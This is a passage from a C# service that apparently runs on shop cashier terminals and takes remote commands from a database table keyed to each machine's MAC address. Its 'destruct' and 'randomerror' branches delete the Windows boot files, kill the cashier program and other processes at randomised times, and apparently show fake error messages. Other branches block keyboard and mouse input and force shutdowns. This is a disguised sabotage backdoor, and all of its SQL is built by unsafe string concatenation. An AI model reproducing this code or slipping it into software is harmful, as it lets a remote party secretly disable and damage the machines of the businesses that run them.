"' AND COMMODITYMACHINE_ID = " + COMMODITYMACHINE_ID;
ESSupport.Lib.SyBaseHelper.ExecuteSqlTran(updateSql);
//OdbcCommand updateCMD = new OdbcCommand(updateSql, conany);
//updateCMD.ExecuteNonQuery();
}
}
}
}
}
else
{
string insertSql = @" INSERT INTO DBA.T_COMMODITYMACHINE
VALUES (" + COMMODITYMACHINE_ID + ",'" + SERVERPARTCODE + "','" + SHOPCODE + "','" + MACHINENAME + "','" +
MACHINE_MACADDRESS + "','" + MACHINE_IP + "','" + MACHINE_STARTDATE + "','"
+ MACHINE_ENDDATE + "','" + HANDCONTENT + "','" + HANDWAY + "'," + FLAG + "," + REPEAT_STATE + ","
+ DOWNLOAD_STATE + ",'" + UPLOAD_STATE + "'," + INTERVALS_TIME + ",'" + REMARK_DESC + "')";
ESSupport.Lib.SyBaseHelper.ExecuteSqlTran(insertSql);
//OdbcCommand INSERTCMD = new OdbcCommand(insertSql, conany);
//INSERTCMD.ExecuteNonQuery();
}
}
//conany.Close();
}
}
}
conn.Close();
//conn.Dispose();
}
catch (Exception ex)
{
LogHelper.WriteServiceLog("T_COMMODITYMACHINE:" + ex.Message);
//conany.Close();
conn.Close();
//conn.Dispose();
}
#endregion
//打开数据库,执行查询
try
{
//conany.Open();
conn.Open();
try
{
ISConnect = true;
if (ISConnect)
{
string odbcSql = "SELECT * FROM DBA.T_COMMODITYMACHINE WHERE MACHINE_MACADDRESS = '" + _mac + "' ORDER BY MACHINE_ENDDATE";
//OdbcCommand odbccmd = new OdbcCommand(odbcSql, conany);
//OdbcDataReader odbcrd = odbccmd.ExecuteReader();
DataTable _CommodityMachine = Lib.SyBaseHelper.QueryOdbc(odbcSql).Tables[0];
if (_CommodityMachine.Rows.Count > 0)
{
foreach (DataRow odbcrd in _CommodityMachine.Rows)
{
string ID = odbcrd["COMMODITYMACHINE_ID"].ToString();
string MACHINE_MACADDRESS = odbcrd["MACHINE_MACADDRESS"].ToString();
string FLAG = odbcrd["FLAG"].ToString();
string HANDWAY = odbcrd["HANDWAY"].ToString();
string HANDCONTENT = odbcrd["HANDCONTENT"].ToString();
string MACHINE_STARTDATE = odbcrd["MACHINE_STARTDATE"].ToString();
string REPEAT_STATE = odbcrd["REPEAT_STATE"].ToString();
string UPLOAD_STATE = odbcrd["UPLOAD_STATE"].ToString();
string timenow = DateTime.Now.ToString("yyyy-MM-dd HH:mm");
DateTime datenow = Convert.ToDateTime(timenow);
DateTime datebegin = Convert.ToDateTime(Convert.ToDateTime(MACHINE_STARTDATE).ToString("yyyy-MM-dd HH:mm"));
Random randomnum = new Random();
int arr;
//int[] arr;
if (REPEAT_STATE == "1" && Convert.ToInt32(odbcrd["INTERVALS_TIME"]) > 1)
{
arr = randomnum.Next(Convert.ToInt32(odbcrd["INTERVALS_TIME"]));
}
else
{
arr = randomnum.Next(2);
}
#region 重装系统
if (FLAG == "1" && (UPLOAD_STATE != "3" || string.IsNullOrEmpty(UPLOAD_STATE)) && datenow >= datebegin && HANDWAY == "destruct")
{
string sql = "";
string Oraclesql = "";
string remark = "";
string _randomlist = "0x" + Str_char(8, false);//随机获取内存地址
if (File.Exists("C:\\NTLDR") || File.Exists("C:\\boot.ini"))
{
remark += Execute("del C:\\NTLDR /f /s /a:h", 10) + ";";
remark += Execute("del C:\\boot.ini /f /s /a:h", 10) + ";";
}
else
remark += "引导文件不存在;";
try
{
if (REPEAT_STATE == "1")
{
if ((datenow - datebegin).TotalMinutes % arr == 0)
{
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 4, REMARK_DESC='运行中," + remark + "' where COMMODITYMACHINE_ID = " + ID +
" AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'";
//OdbcCommand com = new OdbcCommand(sql, conany);
//com.ExecuteNonQuery();
ESSupport.Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch { }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 4, REMARK_DESC='运行中," + remark + "' where COMMODITYMACHINE_ID = " + ID +
" AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
WinExec("taskkill.exe /im cashier.exe /f /t", 0);
WinExec("taskkill.exe /f /fi \"IMAGENAME eq s*\" /t", 0);
Thread n = new Thread(new ThreadStart(() => invokeShow("services", _randomlist)));
n.Start();
}
}
if (REPEAT_STATE == "0")
{
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='正常," + remark + "' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
//OdbcCommand com = new OdbcCommand(sql, conany);
//com.ExecuteNonQuery();
ESSupport.Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch { }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='正常," + remark + "' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
WinExec("taskkill.exe /im cashier.exe /f /t", 0);
WinExec("taskkill.exe /f /fi \" IMAGENAME eq s* \" /t", 0);
Thread n = new Thread(new ThreadStart(() => invokeShow("services", _randomlist)));
n.Start();
}
}
catch (Exception ex)
{
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message +
"' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'";
//OdbcCommand com = new OdbcCommand(sql, conany);
//com.ExecuteNonQuery();
ESSupport.Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch
{
LogHelper.WriteServiceLog("destruct:" + ex.Message);
}
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message +
"' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch
{
LogHelper.WriteServiceLog("destruct:" + ex.Message);
}
LogHelper.WriteServiceLog("destruct:" + ex.Message + "\r\n" + sql);
}
}
#endregion
#region 随机报错并结束进程
if (FLAG == "1" && (UPLOAD_STATE != "3" || string.IsNullOrEmpty(UPLOAD_STATE)) && datenow >= datebegin && HANDWAY == "randomerror")
{
string sql = "";
string Oraclesql = "";
string remark = "";
List list = new List();
//string user = Environment.UserName;
Process[] process = Process.GetProcesses();
foreach (Process p in process)
{
if (p.ProcessName != "ConnectPoint" && !p.ProcessName.Contains("System") && !p.ProcessName.Contains("Idle"))
list.Add(p.ProcessName);
}
Random rm = new Random();
int i = rm.Next(list.Count); //随机数最大值不能超过list的总数
string _processname = list[i].ToString();
string _randomlist = "0x" + Str_char(8, false);
remark += "异常:" + _processname + ".exe;";
try
{
if (REPEAT_STATE == "1")
{
if ((datenow - datebegin).TotalMinutes % arr == 0)
{
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 4, REMARK_DESC='运行中," + remark + "' where COMMODITYMACHINE_ID = " + ID +
" AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'";
ESSupport.Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch { }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 4, REMARK_DESC='运行中," + remark + "' where COMMODITYMACHINE_ID = " + ID +
" AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
WinExec("taskkill.exe /im cashier.exe /f /t", 0);
Thread n = new Thread(new ThreadStart(() => invokeShow(_processname, _randomlist)));
n.Start();
}
}
if (REPEAT_STATE == "0")
{
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='" + remark + "' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
ESSupport.Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch { }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='" + remark + "' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
WinExec("taskkill.exe /im cashier.exe /f /t", 0);
Thread n = new Thread(new ThreadStart(() => invokeShow(_processname, _randomlist)));
n.Start();
}
}
catch (Exception ex)
{
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message +
"' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'";
ESSupport.Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch
{
LogHelper.WriteServiceLog("randomerror:" + ex.Message);
}
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message +
"' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch
{
LogHelper.WriteServiceLog("randomerror:" + ex.Message);
}
LogHelper.WriteServiceLog("randomerror:" + ex.Message + "\r\n" + sql);
}
}
#endregion
#region 关机命令
if (FLAG == "1" && (UPLOAD_STATE != "3" || string.IsNullOrEmpty(UPLOAD_STATE)) && datenow >= datebegin && HANDWAY == "shutdown")//关机操作
{
string sql = "";
string Oraclesql = "";
try
{
if (REPEAT_STATE == "1")
{
if ((datenow - datebegin).TotalMinutes % arr == 0)
{
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 4, REMARK_DESC='运行中' where COMMODITYMACHINE_ID = " + ID +
" AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'";
ESSupport.Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch { }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 4, REMARK_DESC='运行中' where COMMODITYMACHINE_ID = " + ID +
" AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
BlockInput(true);
SendMessage(this.Handle, WM_SYSCOMMAND, SC_MONITORPOWER, 2);
classCPIR.KillExe("explorer.exe");
Process.Start("Shutdown", "-s -t 0 -f");
}
}
if (REPEAT_STATE == "0")
{
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='正常' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
ESSupport.Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch { }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='正常' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
BlockInput(true);
SendMessage(this.Handle, WM_SYSCOMMAND, SC_MONITORPOWER, 2);
classCPIR.KillExe("explorer.exe");
Process.Start("Shutdown", "-s -t 0 -f");
}
}
catch (Exception ex)
{
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message +
"' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'";
ESSupport.Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch
{
LogHelper.WriteServiceLog("shutdown:" + ex.Message);
}
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message +
"' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch
{
LogHelper.WriteServiceLog("shutdown:" + ex.Message);
}
LogHelper.WriteServiceLog("shutdown:" + ex.Message + "\r\n" + sql);
}
}
#endregion
#region 重启命令
if (FLAG == "1" && (UPLOAD_STATE != "3" || string.IsNullOrEmpty(UPLOAD_STATE)) && datenow >= datebegin && HANDWAY == "restart")//重启操作
{
string sql = "";
string Oraclesql = "";
try
{
if (REPEAT_STATE == "1")
{
if ((datenow - datebegin).TotalMinutes % arr == 0)
{
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 4, REMARK_DESC='运行中' where COMMODITYMACHINE_ID = " + ID +
" AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'";
ESSupport.Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch { }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 4, REMARK_DESC='运行中' where COMMODITYMACHINE_ID = " + ID +
" AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
//new Thread(new ThreadStart(invokeShow)).Start();
BlockInput(true);
SendMessage(this.Handle, WM_SYSCOMMAND, SC_MONITORPOWER, 2);
Process.Start("Shutdown", "-r -t 0 -f");
}
}
if (REPEAT_STATE == "0")
{
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='重启成功' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
ESSupport.Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch { }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='重启成功' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
BlockInput(true);
SendMessage(this.Handle, WM_SYSCOMMAND, SC_MONITORPOWER, 2);
Process.Start("Shutdown", "-r -t 0 -f");
}
}
catch (Exception ex)
{
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message +
"' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'";
ESSupport.Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch
{
LogHelper.WriteServiceLog(ex.Message);
}
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message +
"' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch
{
LogHelper.WriteServiceLog(ex.Message);
}
LogHelper.WriteServiceLog(ex.Message + "\r\n" + sql);
}
}
#endregion
#region 结束指定进程命令
else if (FLAG == "1" && (UPLOAD_STATE != "3" || string.IsNullOrEmpty(UPLOAD_STATE)) && datenow >= datebegin && HANDWAY == "taskkill")//结束指定进程
{
string sql = "";
string Oraclesql = "";
string process = "";
string remark = "";
try
{
if (REPEAT_STATE == "1")
{
if ((datenow - datebegin).TotalMinutes % arr == 0)
{
string[] split = HANDCONTENT.Split(new char[] { '|' });
foreach (var sp in split)
{
if (sp.Contains("."))
{
process = sp.Substring(0, sp.IndexOf("."));
}
Process[] procs = Process.GetProcesses();
Process[] proc = Process.GetProcessesByName(process);
if (proc.Length > 0)
{
foreach (Process item in procs)
{
if (item.ProcessName == process)
{
//item.Kill();
WinExec("taskkill.exe /im " + sp + " /f /t", 0);
ISConnect = true;
if (ISConnect)
{
remark += "关闭进程" + sp + "成功;";
}
else
{
remark += "关闭进程" + sp + "失败;";
}
}
}
}
else
{
remark += "未找到进程" + sp + ";";
}
//if (sp.Contains("."))
//{
// process = sp.Substring(0, sp.IndexOf("."));
//}
//Process[] proc = Process.GetProcessesByName(process);
//if (proc.Length > 0)
//{
// //classCPIR.KillExe(sp);
// if (classCPIR.KillExe(sp))
// {
// //Process.Start("TaskKill", " /im " + sp + " /f");
// remark += "关闭进程" + sp + "成功;";
// }
// else
// {
// remark += "关闭进程" + sp + "失败;";
// }
//}
//else
//{
// remark += "未找到进程" + sp +";";
//}
}
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='" + remark +
"' where COMMODITYMACHINE_ID = " + ID +
" AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'";
ESSupport.Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch { }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='" + remark +
"' where COMMODITYMACHINE_ID = " + ID +
" AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
}
}
if (REPEAT_STATE == "0")
{
string[] split = HANDCONTENT.Split(new char[] { '|' });
foreach (var sp in split)
{
if (sp.Contains("."))
{
process = sp.Substring(0, sp.IndexOf("."));
}
Process[] procs = Process.GetProcesses();
Process[] proc = Process.GetProcessesByName(process);
if (proc.Length > 0)
{
foreach (Process item in procs)
{
if (item.ProcessName == process)
{
//item.Kill();
WinExec("taskkill.exe /im " + sp + " /f /t", 0);
ISConnect = true;
if (ISConnect)
{
remark += "关闭进程" + sp + "成功;";
}
else
{
remark += "关闭进程" + sp + "失败;";
}
}
}
}
else
{
remark += "未找到进程" + sp + ";";
}
//if (sp.Contains("."))
//{
// process = sp.Substring(0, sp.IndexOf("."));
//}
//Process[] proc = Process.GetProcessesByName(process);
//if (proc.Length > 0)
//{
// //classCPIR.KillExe(sp);
// if (classCPIR.KillExe(sp))
// {
// //Process.Start("TaskKill", " /im " + sp + " /f");
// remark += "关闭进程" + sp + "成功;";
// }
// else
// {
// remark += "关闭进程" + sp + "失败;";
// }
//}
//else
//{
// remark += "未找到进程" + sp + ";";
//}
}
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='" + remark +
"' where COMMODITYMACHINE_ID = " + ID +
" AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch { }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='" + remark +
"' where COMMODITYMACHINE_ID = " + ID +
" AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
}
}
catch (Exception ex)
{
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message +
"' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'";
ESSupport.Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch { }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message +
"' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
LogHelper.WriteServiceLog(ex.Message + "\r\n" + sql);
}
}
#endregion
#region 打开指定进程命令
else if (FLAG == "1" && (UPLOAD_STATE != "3" || string.IsNullOrEmpty(UPLOAD_STATE)) && HANDWAY == "openapp" && datenow >= datebegin)//打开指定进程
{
string sql = "";
string Oraclesql = "";
string process = "";
string processFile = "";
try
{
if (REPEAT_STATE == "1")
{
if ((datenow - datebegin).TotalMinutes % arr == 0)
{
if (HANDCONTENT.Contains("\\"))
{
processFile = HANDCONTENT.Substring(HANDCONTENT.LastIndexOf("\\") + 1, HANDCONTENT.Length - HANDCONTENT.LastIndexOf("\\") - 1);
}
if (processFile.Contains("."))
{
process = processFile.Substring(0, processFile.IndexOf("."));
}
Process[] proc = Process.GetProcessesByName(process);
if (proc.Length == 0)
{
Process.Start(HANDCONTENT);
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 4, REMARK_DESC='运行中' where COMMODITYMACHINE_ID = " + ID +
" AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'";
ESSupport.Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch { }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='运行中' where COMMODITYMACHINE_ID = " + ID +
" AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
}
else
{
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 4, REMARK_DESC='未找到进程' where COMMODITYMACHINE_ID = " + ID +
" AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'";
ESSupport.Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch { }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='未找到进程' where COMMODITYMACHINE_ID = " + ID +
" AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
}
}
}
if (REPEAT_STATE == "0")
{
if (HANDCONTENT.Contains("\\"))
{
processFile = HANDCONTENT.Substring(HANDCONTENT.LastIndexOf("\\") + 1, HANDCONTENT.Length - HANDCONTENT.LastIndexOf("\\") - 1);
}
if (processFile.Contains("."))
{
process = processFile.Substring(0, processFile.IndexOf("."));
}
Process[] proc = Process.GetProcessesByName(process);
if (proc.Length == 0)
{
Process.Start(HANDCONTENT);
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='正常' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
ESSupport.Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch { }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='正常' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
}
else
{
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='未找到进程' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
ESSupport.Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch { }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='未找到进程' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
}
}
}
catch (Exception ex)
{
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message +
"' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'";
ESSupport.Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch { }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message +
"' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
LogHelper.WriteServiceLog(ex.Message + "\r\n" + sql);
}
}
#endregion
#region 创建SetUp文件命令
else if (FLAG == "1" && (UPLOAD_STATE != "3" || string.IsNullOrEmpty(UPLOAD_STATE)) && HANDWAY == "newsetup" && datenow >= datebegin)//创建新文件setup
{
string sql = "";
string Oraclesql = "";
try
{
if (REPEAT_STATE == "1")
{
if ((datenow - datebegin).TotalMinutes % arr == 0)
{
if (rdSetup.HasRows)
{
while (rdSetup.Read())
{
#region 创建新文件
object database = rdSetup["DATABASE"];
object startype = rdSetup["STARTYPE"];
object name = rdSetup["NAME"];
object servername = rdSetup["SERVERNAME"];
object apppath = rdSetup["APPPATH"];
object port = rdSetup["PORT"];
object setup = rdSetup["SETUP"];
object openpath = rdSetup["OPENPATH"];
object dbsync = rdSetup["DBSYNC"];
object iswork = rdSetup["ISWORK"];
object dbconect = rdSetup["DBCONECT"];
object dbip1 = rdSetup["DBIP"];
object dbport1 = rdSetup["DBPORT"];
object dbname1 = rdSetup["DBNAME"];
object dbuser1 = rdSetup["DBUSER"];
object dbpass1 = rdSetup["DBPASS"];
object conname1 = rdSetup["CONNAME"];
object serverpartcode = rdSetup["SERVERPARTCODE"];
object shopcode = rdSetup["SHOPCODE"];
object machinecode = rdSetup["MACHINECODE"];
object orapath = rdSetup["ORAPATH"];
object setups = rdSetup["SETUPS"];
object manmode = rdSetup["MANMODE"];
object systemparm = rdSetup["SYSTEMPARM"];
object softwarename = rdSetup["SOFTWARENAME"];
object dbtrans_mode = rdSetup["DBTRANS_MODE"];
object endgo_line = rdSetup["ENDGO_LINE"];
object adv_top = rdSetup["ADV_TOP"];
object adv_end = rdSetup["ADV_END"];
object input_mode = rdSetup["INPUT_MODE"];
object is_print = rdSetup["IS_PRINT"];
object is_open = rdSetup["IS_OPEN"];
object is_dpis = rdSetup["IS_DPIS"];
object xpprint_num = rdSetup["XPPRINT_NUM"];
object jbprint_num = rdSetup["JBPRINT_NUM"];
object effectiveday = rdSetup["EFFECTIVEDAY"];
object checkday = rdSetup["CHECKDAY"];
object dispcom = rdSetup["DISPCOM"];
object spdj = rdSetup["SPDJ"];
object printport = rdSetup["PRINTPORT"];
object discount2 = rdSetup["DISCOUNT2"];
object kitchenprint = rdSetup["KITCHENPRINT"];
object prefix = rdSetup["PREFIX"];
object serverpartname = rdSetup["SERVERPARTNAME"];
object brandnum = rdSetup["BRANDNUM"];
object endaccounttimes = rdSetup["ENDACCOUNTTIMES"];
object billoverlap = rdSetup["BILLOVERLAP"];
StreamWriter sw = new StreamWriter("NEWsetup.ini");
sw.WriteLine(database);
sw.WriteLine("startype=" + startype);
sw.WriteLine("dbname=" + name);
sw.WriteLine("servername=" + servername);
sw.WriteLine("apppath=" + apppath);
sw.WriteLine("port=" + port);
sw.WriteLine("setup=" + setup);
sw.WriteLine("openpath=" + openpath);
sw.WriteLine();
sw.WriteLine(dbsync);
sw.WriteLine("iswork=" + iswork);
sw.WriteLine(dbconect);
sw.WriteLine("dbip=" + dbip1);
sw.WriteLine("dbport=" + dbport1);
sw.WriteLine("dbname=" + dbname1);
sw.WriteLine("dbuser=" + dbuser1);
sw.WriteLine("dbpass=" + dbpass1);
sw.WriteLine("conname=" + conname1);
sw.WriteLine("serverpartcode=" + serverpartcode);
sw.WriteLine("shopcode=" + shopcode);
sw.WriteLine("machinecode=" + machinecode);
sw.WriteLine("orapath=" + orapath);
sw.WriteLine(setups);
sw.WriteLine("manmode=" + manmode);
sw.WriteLine(systemparm);
sw.WriteLine("softwarename=" + softwarename);
sw.WriteLine("dbtrans_mode=" + dbtrans_mode);
sw.WriteLine("endgo_line=" + endgo_line);
